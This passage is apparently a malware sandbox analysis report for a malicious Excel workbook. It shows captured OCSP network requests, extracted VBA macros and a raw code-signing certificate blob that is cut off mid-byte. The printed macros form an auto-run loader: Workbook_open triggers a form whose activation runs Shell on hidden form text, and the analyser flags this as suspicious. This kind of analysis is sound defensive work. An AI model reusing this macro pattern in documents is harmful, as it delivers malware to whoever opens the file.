  664. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEEoxfSNtIMRcPdNPMcVxcZc%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: tl.symcd.com\r\n\r\n",
  665. "port": 80
  666. },
  667. {
  668. "count": 1,
  669. "body": "",
  670. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  671. "user-agent": "Microsoft-CryptoAPI/6.1",
  672. "method": "GET",
  673. "host": "ocsp.digicert.com",
  674. "version": "1.1",
  675. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  676. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nCache-Control: max-age = 89056\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Mar 2019 18:30:24 GMT\r\nIf-None-Match: \"5c9529c0-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  677. "port": 80
  678. },
  679. {
  680. "count": 1,
  681. "body": "",
  682. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  683. "user-agent": "Microsoft-CryptoAPI/6.1",
  684. "method": "GET",
  685. "host": "ocsp.msocsp.com",
  686. "version": "1.1",
  687. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  688. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  689. "port": 80
  690. },
  691. {
  692. "count": 1,
  693. "body": "",
  694. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  695. "user-agent": "Microsoft-CryptoAPI/6.1",
  696. "method": "GET",
  697. "host": "ocsp.digicert.com",
  698. "version": "1.1",
  699. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  700. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 128165\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 11:02:13 GMT\r\nIf-None-Match: \"5c961235-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  701. "port": 80
  702. },
  703. {
  704. "count": 1,
  705. "body": "",
  706. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  707. "user-agent": "Microsoft-CryptoAPI/6.1",
  708. "method": "GET",
  709. "host": "ocsp.digicert.com",
  710. "version": "1.1",
  711. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  712. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  713. "port": 80
  714. },
  715. {
  716. "count": 1,
  717. "body": "",
  718. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  719. "user-agent": "Microsoft-CryptoAPI/6.1",
  720. "method": "GET",
  721. "host": "ocsp.digicert.com",
  722. "version": "1.1",
  723. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  724. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 143038\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 15:00:07 GMT\r\nIf-None-Match: \"5c9649f7-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  725. "port": 80
  726. }
  727. ]
  728.  
  729. [*] Network Communication - SMTP: []
  730.  
  731. [*] Network Communication - Hosts: []
  732.  
  733. [*] Network Communication - IRC: []
  734.  
  735. [*] Static Analysis: {
  736. "office": {
  737. "Macro": {
  738. "Code": {
  739. "Macro2": [
  740. [
  741. "App1.frm",
  742. "Private Sub UserForm_Activate()\nOn Error Resume Next\nDim time\ntime = Format(Now + TimeSerial(0, 0, 24), \"hh:mm\")\n\n\nShell Replace(App2.T3.Text, \"77:77\", time)\nUnload Me\nEnd Sub\n\n"
  743. ]
  744. ],
  745. "Macro1": [
  746. [
  747. "\\xdd\\xf2\\xe0\\xca\\xed\\xe8\\xe3\\xe0.cls",
  748. "Sub WorkBook_open()\nCallByName App1, \"Show\", VbMethod\n\nEnd Sub"
  749. ]
  750. ]
  751. },
  752. "Analysis": {
  753. "Suspicious": [
  754. [
  755. "CallByName",
  756. "May attempt to obfuscate malicious function calls"
  757. ],
  758. [
  759. "Shell",
  760. "May run an executable file or a system command"
  761. ]
  762. ],
  763. "AutoExec": [
  764. [
  765. "Workbook_Open",
  766. "Runs when the Excel Workbook is opened"
  767. ]
  768. ]
  769. }
  770. },
  771. "Metadata": {
  772. "SummaryInformation": {
  773. "num_words": "None",
  774. "num_pages": "None",
  775. "last_saved_by": "alex",
  776. "creating_application": "Microsoft Excel",
  777. "author": "Microsoft Office",
  778. "revision_number": "None",
  779. "codepage": "1251",
  780. "title": "None",
  781. "comments": "None",
  782. "num_chars": "None",
  783. "total_edit_time": "None",
  784. "create_time": "None",
  785. "template": "None",
  786. "last_printed": "None",
  787. "keywords": "None",
  788. "security": "0",
  789. "last_saved_time": "None",
  790. "thumbnail": "None",
  791. "subject": "None"
  792. },
  793. "DocumentSummaryInformation": {
  794. "codepage_doc": "1251",
  795. "chars_with_spaces": "None",
  796. "shared_doc": "False",
  797. "paragraphs": "None",
  798. "hidden_slides": "None",
  799. "mm_clips": "None",
  800. "category": "None",
  801. "presentation_target": "None",
  802. "hlinks_changed": "False",
  803. "scale_crop": "False",
  804. "version": "1048576",
  805. "hlinks": "None",
  806. "link_base": "None",
  807. "company": "Microsoft Corporation",
  808. "unused": "None",
  809. "dig_sig": "8\\x17\\x00\\x00\\x08\\x00\\x00\\x00\\xf6\\x0f\\x00\\x00,\\x00\\x00\\x00\\x17\\x07\\x00\\x00\"\\x10\\x00\\x00\\x00\\x00\\x00\\x009\\x17\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x17\\x00\\x000\\x82\\x0f\\xf2\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x07\\x02\\xa0\\x82\\x0f\\xe30\\x82\\x0f\\xdf\\x02\\x01\\x011\\x0e0\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x000R\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x04\\xa0D0B0\\x1e\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x1d\\x04\\x10(\\xaf&\\x08\\xc3F\\x82\\xb1\\xc4:\\x03!zaO\\x000 0\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x00\\x04\\x10\\xb5\\xdb\\x88\\xfa[7\\xa7\\xe2$\\xad\\xe8*\\xac3\\xbb\\xc9\\xa0\\x82\rt0\\x82\\x04 0\\x82\\x03\\x08\\xa0\\x03\\x02\\x01\\x02\\x02\\x104N\\xd5W \\xd5\\xed\\xecI\\xf4/\\xce7\\xdb+m0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x05\\x05\\x000\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x1e\\x17\r061117000000Z\\x17\r360716235959Z0\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xac\\xa0\\xf0\\xfb\\x80Y\\xd4\\x9c\\xc7\\xa4\\xcf\\x9d\\xa1Ys\t\\x10E\\x0c\r,nh\\xf1l[HhIY7\\xfc\\x0b3\\x19\\xc2w\\x7f\\xcc\\x10-\\x954\\x1c\\xe6\\xebM\t\\xa7\\x1c\\xd2\\xb8\\xc9\\x976\\x02\\xb7\\x89\\xd4$_\\x06\\xc0\\xccD\\x94\\x94\\x8d\\x02bo\\xebZ\\xdd\\x11\\x8d(\\x9a\\\\x84\\x90\\x10z\r\\xbdtf/j8\\xa0\\xe2\\xd5TD\\xeb\\x1d\\x07\\x9f\\x07\\xbao\\xee\\xe9\\xfdN\\x0b)\\xf5>\\x84\\xa0\\x01\\xf1\\x9c\\xab\\xf8\\x1c~\\x89\\xa4\\xe8\\xa1\\xd8qe\r\\xa3Q{\\xee\\xbc\\xd2\"`\r\\xb9[\\x9d\\xdf\\xba\\xfcQ[\\x0b\\xaf\\x98\\xb2\\xe9.\\xe9\\x04\\xe8b\\x87\\xde+\\xc8\\xd7N\\xc1Ld\\x1e\\xdd\\xcf\\x87X\\xbaJO\\xcah\\x07\\x1d\\x1c\\x9dJ\\xc6\\xd5/\\x91\\xcc|qr\\x1c\\xc5\\xc0g\\xeb2\\xfd\\xc9\\x92\\\\x94\\xda\\x85\\xc0\\x9b\\xbfS}+\t\\xf4\\x8c\\x9d\\x91\\x1f\\x97jR\\xcb\\xde\t6\\xa4w\\xd8{\\x87PD\\xd5>n)i\\xfb9I&\\x1e\t\\xa5\\x80{@-\\xeb\\xe8'\\x85\\xc9\\xfea\\xfd~\\xe6|\\x97\\x1d\\xd5\\x9d\\x02\\x03\\x01\\x00\\x01\\xa3B0@0\\x0f\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x050\\x03\\x01\\x01\\xff0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x060\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14{[E\\xcf\\xaf\\xce\\xcbz\\xfd1\\x92\\x1aj\\xb6\\xf3F\\xebWHP0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x05\\x05\\x00\\x03\\x82\\x01\\x01\\x00y\\x11\\xc0K\\xb3\\x91\\xb6\\xfc\\xf0\\xe9g\\xd4\rnE\\xbeU\\xe8\\x93\\xd2\\xce\\x03?\\xed\\xda%\\xb0\\x1dW\\xcb\\x1e:v\\xa0L\\xecPv\\xe8dr\\x0c\\xa4\\xa9\\xf1\\xb8\\x8b\\xd6\\xd6\\x87\\x84\\xbb2\\xe5A\\x11\\xc0w\\xd9\\xb3`\\x9d\\xeb\\x1b\\xd5\\xd1nDD\\xa9\\xa6\\x01\\xecUb\\x1dw\\xb8\\\\x8eHI|\\x9c;W\\x11\\xac\\xads7\\x8e/x\\\\x90hG\\xd9``\\xe6\\xfc\\x07=\" \\x17\\xc4\\xf7\\x16\\xe9\\xc4\\xd8r\\xf9\\xc8s|\\xdf\\x16/\\x15\\xa9>\\xfdj'\\xb6\\xa1\\xebZ\\xba\\x98\\x1f\\xd5\\xe3Md\n\\x9d\\x13\\xc8a\\xba\\xf59\\x1c\\x87\\xba\\xb8\\xbd{\"\\x7f\\xf6\\xfe\\xac@y\\xe5\\xac\\x10o=\\x8f\\x1byv\\x8b\\xc47\\xb3!\\x18\\x84\\xe56\\x00\\xebc \\x99\\xb9\\xe9\\xfe3\\x04\\xbbA\\xc8\\xc1\\x02\\xf9Dc \\x9e\\x81\\xceB\\xd3\\xd6?,v\\xd3c\\x9cY\\xdd\\x8f\\xa6\\xe1\\x0e\\xa0.A\\xf7.\\x95G\\xcf\\xbc\\xfd3\\xf3\\xf6\\x0ba~~\\x91+\\x81G\\xc2'0\\xee\\xa7\\x10]7\\x8f\\9+\\xe4\\x04\\xf0{\\x8dV\\x8ch0\\x82\\x04\\x990\\x82\\x03\\x81\\xa0\\x03\\x02\\x01\\x02\\x02\\x10q\\xa0\\xb76\\x95\\xdd\\xb1\\xaf\\xc2;+\\x9a\\x18\\xeeT\\xcb0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x1e\\x17\r131210000000Z\\x17\r231209235959Z0L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\x9bU\\x02L\\x17\\x05\\xe9\\xd0f\\xc3\\xfc(\\xad\\xd3\\xc0\\xfe\\xef\\xe0\\xe9~\\xd4\\x1e\\xf6\\xaa\\x1b\\x91F\\xfd\\xf5\\x16\\xed\\x98\\x07S\\xfa\\xba\\x87\\x1b}\\x9e\\x1f\\x01'\\xab\\xb9\\xd2g\\xca\\xb7\\x10%S\\xf4\\xe3\\xbe\\x9b\\x90\\xb8\\xed#\\B\\xefd%X\\xe5\\x88\"\\x1a\\xbe\\xf5\\xc7\\xae\\xf5\\xbe\\x8a\\xb1\\x11\\x11\\x93\\x1a\"\\xa9ti\\xc1t\\xb6h\\x87\\xa7\\x830\\xf9d\\xf1\\xb1\\xe38>\\xf4\\xd6\\xc1\\xfc\\x12\\xfesW\\x175W\\x8a\\xddP\\x8d\\x03\\xf8f\\xcd\\xcav\\x83\\x13\\xc8\\xd7\\x0eq\\x1d\\xe4c\\xc9\\xba\\x17\\xf8\\xd1\\xb9\\xe4\\x88\\xd2,(\\xc8! \rA\\xb7\\x0b\\xe2/\\xc2\\x80\\xe6\\x88{Sl\\xc3Dc\\x81\\x7fhG\\x8c+*\\xcf[\\xf4\\x8cIa\\xbai\\x85\\xfdk\\x00x\\x05&i\\x130\\x808N\\xf1ZU\\xc9\\xc5P\\xd6\\xaa8\\x89GC\\\\xfeMs\\xa5I\\xc5\\x93i\\xfew\\x96\\x9a\\xaf\\xf3\\x8c\\x0eW\\xba3\\xd9\\x0e\\xc6B\\xd3\\x03w\\xc4\\xbb9\\xad\\x91\\xf9\\xf3\\xf7\\x96\\:d\\xa6\\xed'W\\xc1\\xe8@\\xf3S\\xf2\\xbe)4\\xfe_\\xf9\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01\\x170\\x82\\x01\\x130/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04#0!0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://t2.symcb.com0\\x12\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x080\\x06\\x01\\x01\\xff\\x02\\x01\\x0002\\x06\\x03U\\x1d\\x1f\\x04+0)0'\\xa0%\\xa0#\\x86!http://t1.symcb.com/ThawtePCA.crl0\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x02\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x060)\\x06\\x03U\\x1d\\x11\\x04\"0 \\xa4\\x1e0\\x1c1\\x1a0\\x18\\x06\\x03U\\x04\\x03\\x13\\x11SymantecPKI-1-5680\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14{[E\\xcf\\xaf\\xce\\xcbz\\xfd1\\x92\\x1aj\\xb6\\xf3F\\xebWHP0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00$;\\xf5\\xd7\\xa06\\x13\\xc7C\\xfe\\xf0\t\\x87h\\xd1\\x981n\\x12\\xe4?\\x1e\\x1f\\x96{kL\\x1e\\x87\\x9e\\x8b\\xc5l\\xa3\\xb1\\x0c{P\\x92\\xd5\\x81\\x9c\\xb1\\x8f,)\\xb7\\xee\\xf9\\x91\\x05\\xb9\\x8eA\\xf1,\\xf6\\xd0Y-\\x98\\xe0\\xb9\\xea\\x80\\x01G@\\x95\\xb8=\\x9d\\x03\\xbdy\\xbb5\\xb6\\xad\\x9cL'\\xf6gE\\x10\\xc9\\xc5\\xbc\\x87NU{\\xd2\\x87\\xbb\\xdd\\xdc0\\xef\\xc6\\xd4l\\xcc\\x995m\\x1c\\xe0`\\xd3\\xcdh\\x8f)YK\\x89\\x96\\x08F\\xc9\\x8e\\xfcuO\\xc5\\xdc\t\\xccN'\\x8bD\\xcd\\x07\\xbc\\xac\\x04\\xe0\\xb53\\xa5\\x87\\x9f\\xf4\\xdds\\x0c\\x91\\xea\\x12\\x81o\\xe3u\\xf0\\x1e\\xb5\\x93lD\\x17\\xd5>\\x97\\xc9\\xbd\\x07,Vw\\x1f\\x85\\xddF\\xe8\\xbf\\xde,\\x81\\x94\\xa3\\xf7\\xe5\\xb7\\xa7\\xc17\\x9fu\\xcaUwM^6)\\xca\\x85\\xd8EArWu\\xc0y[\\xfa4\\x10\\x06md B\\xb7:\\xc8\\x1f\\x1dFd\\x02_\\xc6G\\xbe\\xf0\\xc4:(T\\xda\\xf6\\x1eO\\x9a\\xa2\\x19C\\xa4oI\\xf8\\xfc^B (\\x84\\x8bG n0\\x82\\x04\\xaf0\\x82\\x03\\x97\\xa0\\x03\\x02\\x01\\x02\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x1e\\x17\r190613000000Z\\x17\r200612235959Z0m1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x0e0\\x0c\\x06\\x03U\\x04\\x08\\x0c\\x05Essex1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x0c\\x07HOCKLEY1\\x1d0\\x1b\\x06\\x03U\\x04\n\\x0c\\x14FIT AND FLEX LIMITED1\\x1d0\\x1b\\x06\\x03U\\x04\\x03\\x0c\\x14FIT AND FLEX LIMITED0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xf94\\x13I\\xca\\xd5a\\x89\\x04}E\\x98\\xf5\\xa8\\x9dc-\\xa6\\xf4\\x1eW\\xb9\t\\x86K8+\\xedL\\xd2\\x94\\xe9b\\x9e\\xed\\x02\"\\x8a3.\\xd4\\x0bz\\xadE>\\xf3\\xf1\\xec\\x91\t2x0\\xb2-I\\x96CE\\xa4\\xc7.N\\xc9\\xe7\\xbf\\x97\\x1f\\xff-\\xe5\\x82X\\x90\\xafOq\\xf8I0\\xd1P\\xa2\\x94\\xc9\\xef?\\xab\\xd4\\xd5\\x85\\xb4?y\\x94\\x05\\xb9\\xd9\\x96\\x00\\xd3\n\\x91\\xbb\\x02\\xaa\\xe0\\xe9\\xbbC\\x0c\\x1c\\xa9\\x0b:\\xc6\\xe7\\x00\\x084}K\\xfa\\x0fn\\xbd\\xfd\\x08\\\\xea\\x18r\\xcc\\x8b\\\\xff\\xd8\\xbd\\xb5\\xfd7`\\x1e\\xc4\\xe9\\x93\\xdbB\\x02\\xd1f\\xfb\\x8e\\xb8\\xca\\xbd\t\\x9aK\\xc8\\\\x80\\xc3o,9\\xb2\\x16\\x93\\x9eS\\xa5\\xe8\\x90\\x8bI^\\x82x\\x93\\xbbE}\\xde\\xd2\\xe2\\xf1{\\xeb2\\x1av\\x87X\\x86\\x02\\xef\\xb0Ft\\xc4\\x9dD\\x12\\xa9\\xe2<f\\xbcU\\xde\\xe3vl\\x9ab7\\xc2\\xedL|)\r\\xa4!\\xa0U\\xdb\\xb7@\\xe8\\x18\\xe53K>\\xfbl\\xcc\\xad)F\\xfbo~\\xc4\\xdfu\\x8c\\x1d\\xa0\\x96\\xd2\\xfd1\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01j0\\x82\\x01f0\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.0+\\x06\\x03U\\x1d\\x1f\\x04$0\"0 \\xa0\\x1e\\xa0\\x1c\\x86\\x1ahttp://tl.symcb.com/tl.crl0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x07\\x800\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030n\\x06\\x03U\\x1d \\x04g0e0c\\x06\\x06g\\x81\\x0c\\x01\\x04\\x010Y0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1ahttps://www.thawte.com/cps0/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x020#\\x0c!https://www.thawte.com/repository0W\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04K0I0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://tl.symcd.com0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86\\x1ahttp://tl.symcb.com/tl.crt0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00/&\\x04\\xa5\\xb1\\xd5\\x03\\x9e+\\x16\\xdcN+\\xd6H\\xe7\\xcf\\x86\\xef\\xeb\\xbd4\\x1c\\xc6&\\xd9\\xe0\\x90\\xf3\\xd0\\x90\\x80\\xcd\\xc1\\x9b\\xe0\\xc2V\\xc0o\\xd1\\x01WY@\\xb6\\xee\\x0c\\xbf\\xa1\\xd4\"\\x1cY.D\\x84\\x93\\xe3\\x97\\xd9,N+\\xd40\\x99\\x11\\\\xe9UO'\\xbf{\\xeeR7\\xcc\tL\\x11O\\xa3\\x7f\\x80\\x18t\\x97\\xa03\\xa3`\\xe4w\\x9eQ!\\xfen\\xca\\xf2\\xc7\\x0bo@X\\xd4\\xf0\\x82\\x16w>\\x1a\\xb4\\xa6?3\\xfa\\xe7\\xa6\"6\\xbf\\xc1\\xba\\xbb>\\xf9\\xfa\\xc8\\xff\\xfc\\x92\\x1b\\xe5\\x98\\x95\\x1fTw\\xfd\nY\"\\xee\\xdd\\xbb\\xbfA,\\xe35bH\\xb8/0\\xb9U\\xbd\\xc5Vq5\\xf1\\x98\\x17'\\xc3rr\\xab\\xff\\x94\\xe3\\x1b\\xb7\\xf6\\xdeN\\x813\t^ \\xff_V\\xd9Dq~\\x95\\xc1\\x0eh\\xbc\\xde8\\x1d\\x96\\xc8\\xf3U\\xd8\\x95quq\\x14V'u\\xde\\xf4\\xe9+\\x85!\\xaaI\\xfe\\x10\\x1ev\\x88\\xa6\\x8b\\xa0[\\xd6\\x86\\x08\\xba{\\xbc_\\xc2\\x92&\\x9dj4\\x81/\\x9c\\xf7q\\x0fcHE\\xb43X1\\x82\\x01\\xfc0\\x82\\x01\\xf8\\x02\\x01\\x010`0L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x00\\xa0p0\\x14\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x0c1\\x060\\x04\\xa0\\x02\\x80\\x000\\x19\\x06\t*\\x86H\\x86\\xf7\r\\x01\t\\x031\\x0c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x040\\x1c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x0b1\\x0e0\\x0c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x150\\x1f\\x06\t*\\x86H\\x86\\xf7\r\\x01\t\\x041\\x12\\x04\\x10\\x0c\\x1aS\\x7f\\x11\\xde?y\\x8d\\xde2\\x05K7\\xeb\\x9c0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x04\\x82\\x01\\x00ge\\x16\\xe9,\\x83\\x88q\\x0b\\x93\\x863o\\x0f\\x9f\"\\xaf\\xb5\\xe9\\x89qQ\\xdc{\\x17J\\xf0.v\\xe7\\x19V\\x1f\\xb8\\xb5*\\xd8\\xa85C\\xa5w\\xd5\\x0